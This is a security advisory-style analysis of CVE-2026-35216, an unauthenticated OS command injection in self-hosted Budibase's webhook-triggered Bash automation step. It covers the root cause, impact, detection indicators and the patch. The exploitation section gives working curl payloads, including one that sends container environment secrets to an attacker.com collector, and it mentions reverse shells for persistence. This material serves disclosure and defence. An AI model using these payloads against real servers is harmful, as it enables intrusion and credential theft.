CVE-2026-35216: 
JavaScript vulnerability analysis and mitigation

CVE-2026-35216 is an OS command injection vulnerability in Budibase, an open-source low-code platform, that allows unauthenticated attackers to achieve Remote Code Execution (RCE) on self-hosted Budibase servers. By sending a crafted HTTP POST request to the public webhook endpoint, an attacker can trigger an automation containing a Bash step and execute arbitrary commands as root inside the container. All self-hosted Budibase deployments (versions < 3.33.4) with SELF_HOSTED=1 are affected; Budibase Cloud is not impacted. The vulnerability was published on April 2–3, 2026, and patched in version 3.33.4 released March 13, 2026. It carries a CVSS v3.1 base score of 9.0 (Critical) (Github Advisory, Budibase Security Advisory).

The root cause is improper neutralization of OS command special elements (CWE-78) arising from two compounding design flaws. First, the webhook trigger endpoint (/api/webhooks/trigger/:instance/:id) is registered on publicRoutes in webhook.ts with no authentication middleware, allowing any unauthenticated HTTP client to POST to it. Second, the Bash automation step in bash.ts uses Handlebars template processing (processStringSync) to substitute values from the webhook request body directly into a shell command string, which is then passed to Node.js execSync() without sanitization. Because webhook body fields are flattened into the automation trigger context (e.g., {"cmd": "id"} becomes accessible as {{ trigger.cmd }}), an attacker-controlled value is interpolated verbatim into the shell command. The EXECUTE_BASH step is only available when SELF_HOSTED=1, limiting exposure to self-hosted instances. The fix (PR #18238) replaced execSync with execa (which separates command from arguments), blocked Handlebars bindings in the command name field, and introduced strict argument validation (Budibase Security Advisory, Fix PR).

Successful exploitation grants an unauthenticated attacker arbitrary OS command execution as root inside the Budibase application container, resulting in complete confidentiality, integrity, and availability compromise. An attacker can exfiltrate all container environment secrets — including JWT secrets, CouchDB credentials, Redis passwords, MinIO access keys, and internal API keys — and use these to forge JWT tokens, impersonate any user, or pivot to internal services (CouchDB, Redis, MinIO) not directly reachable from the internet. Persistent access via reverse shells, full read/write/delete of application data, and potential container escape (if --privileged or sensitive volume mounts are configured) are all within scope (Budibase Security Advisory).

A detailed proof-of-concept exploit with step-by-step curl commands is publicly available in the official Budibase security advisory, demonstrating unauthenticated RCE with high confidence (Budibase Security Advisory). The exploit requires only network access to port 10000 and knowledge of the production app_id and webhook_id, which can be obtained through enumeration of the Budibase web UI or leaked configuration. As of the time of reporting, there is no evidence of active in-the-wild exploitation, and no threat actor attribution has been made. The EPSS score is approximately 0.33% (56th percentile), and the vulnerability is not listed in the CISA KEV catalog. Qualys has added detection for this vulnerability (detection ID 5010398) (Feedly).

1. Reconnaissance: Identify internet-facing self-hosted Budibase instances (port 10000) using tools like Shodan or Censys. Confirm the instance is running a version prior to 3.33.4 and has SELF_HOSTED=1.
2. Enumerate app and webhook IDs: Browse the Budibase web UI (app URLs are semi-public, e.g., /myapp) to identify production app_id values (format: app_<hash>). Webhook IDs (wh_<hash>) may be discoverable through UI enumeration, leaked configs, or social engineering.
3. Trigger the webhook with a command payload: Send an unauthenticated HTTP POST to the public webhook endpoint with an arbitrary OS command in the JSON body:

curl -X POST "http://TARGET:10000/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"id"}'

The server responds with {"message":"Webhook trigger fired successfully"} and executes the command asynchronously as root. 4. Exfiltrate secrets: Send a follow-up payload to extract environment variables and exfiltrate them to an attacker-controlled server:

curl -X POST "http://TARGET:10000/api/webhooks/trigger/$PROD_APP_ID/$WEBHOOK_ID" \
  -H "Content-Type: application/json" \
  -d '{"cmd":"env | grep -E \"JWT|SECRET|PASSWORD|KEY|COUCH|REDIS|MINIO\" | curl -s -X POST https://attacker.com/collect -d @-"}'

5. Establish persistence: Use the leaked JWT_SECRET to forge authentication tokens, or deploy a reverse shell to maintain persistent access to the container and pivot to internal services (CouchDB, Redis, MinIO) (Budibase Security Advisory).

• Network: Unexpected HTTP POST requests to /api/webhooks/trigger/<app_id>/<webhook_id> from unknown or external IP addresses, especially without authentication headers or cookies; outbound connections from the Budibase container to unknown external hosts (potential exfiltration or reverse shell).
• Logs: Budibase server access logs showing POST requests to /api/webhooks/trigger/ with JSON bodies containing shell command strings (e.g., id, whoami, env, curl, wget, bash); automation execution logs showing unexpected EXECUTE_BASH step runs triggered via webhook.
• Process: Unusual child processes spawned by the Budibase Node.js process (e.g., bash, sh, curl, wget, nc, python) with suspicious arguments; processes making outbound network connections to non-internal hosts.
• File System: Unexpected new files or scripts written to the container filesystem; presence of web shells or cron jobs created by the Budibase service account; new files in /tmp or application directories not associated with normal operation.
• Environment/Secrets: Evidence of credential reuse from Budibase environment variables (JWT_SECRET, CouchDB, Redis, MinIO credentials) in other systems or services (Budibase Security Advisory).

The primary remediation is to upgrade Budibase to version 3.33.4 or later, which replaces the vulnerable execSync-based Bash step with execa (separating command from arguments), blocks Handlebars template bindings in the command field, and adds strict argument validation (Budibase Release 3.33.4, Fix PR). If immediate patching is not possible, restrict network access to the Budibase webhook endpoint (port 10000) to trusted IP ranges only, and consider disabling or removing any automations that combine a Webhook trigger with a Bash step using template variables. Additionally, implement network segmentation to limit the Budibase container's ability to reach internal services and the internet, and monitor logs for suspicious webhook activity.

The vulnerability was covered by SecurityOnline, which highlighted it alongside other critical Budibase vulnerabilities (RCE and SSRF) patched in the same release (SecurityOnline). Check Point Research added detection coverage via their advisory portal (Check Point Advisory). The Hacker Wire also reported on related Budibase security issues around the same disclosure period (The Hacker Wire). Community discussion on Bluesky noted the public PoC availability shortly after disclosure.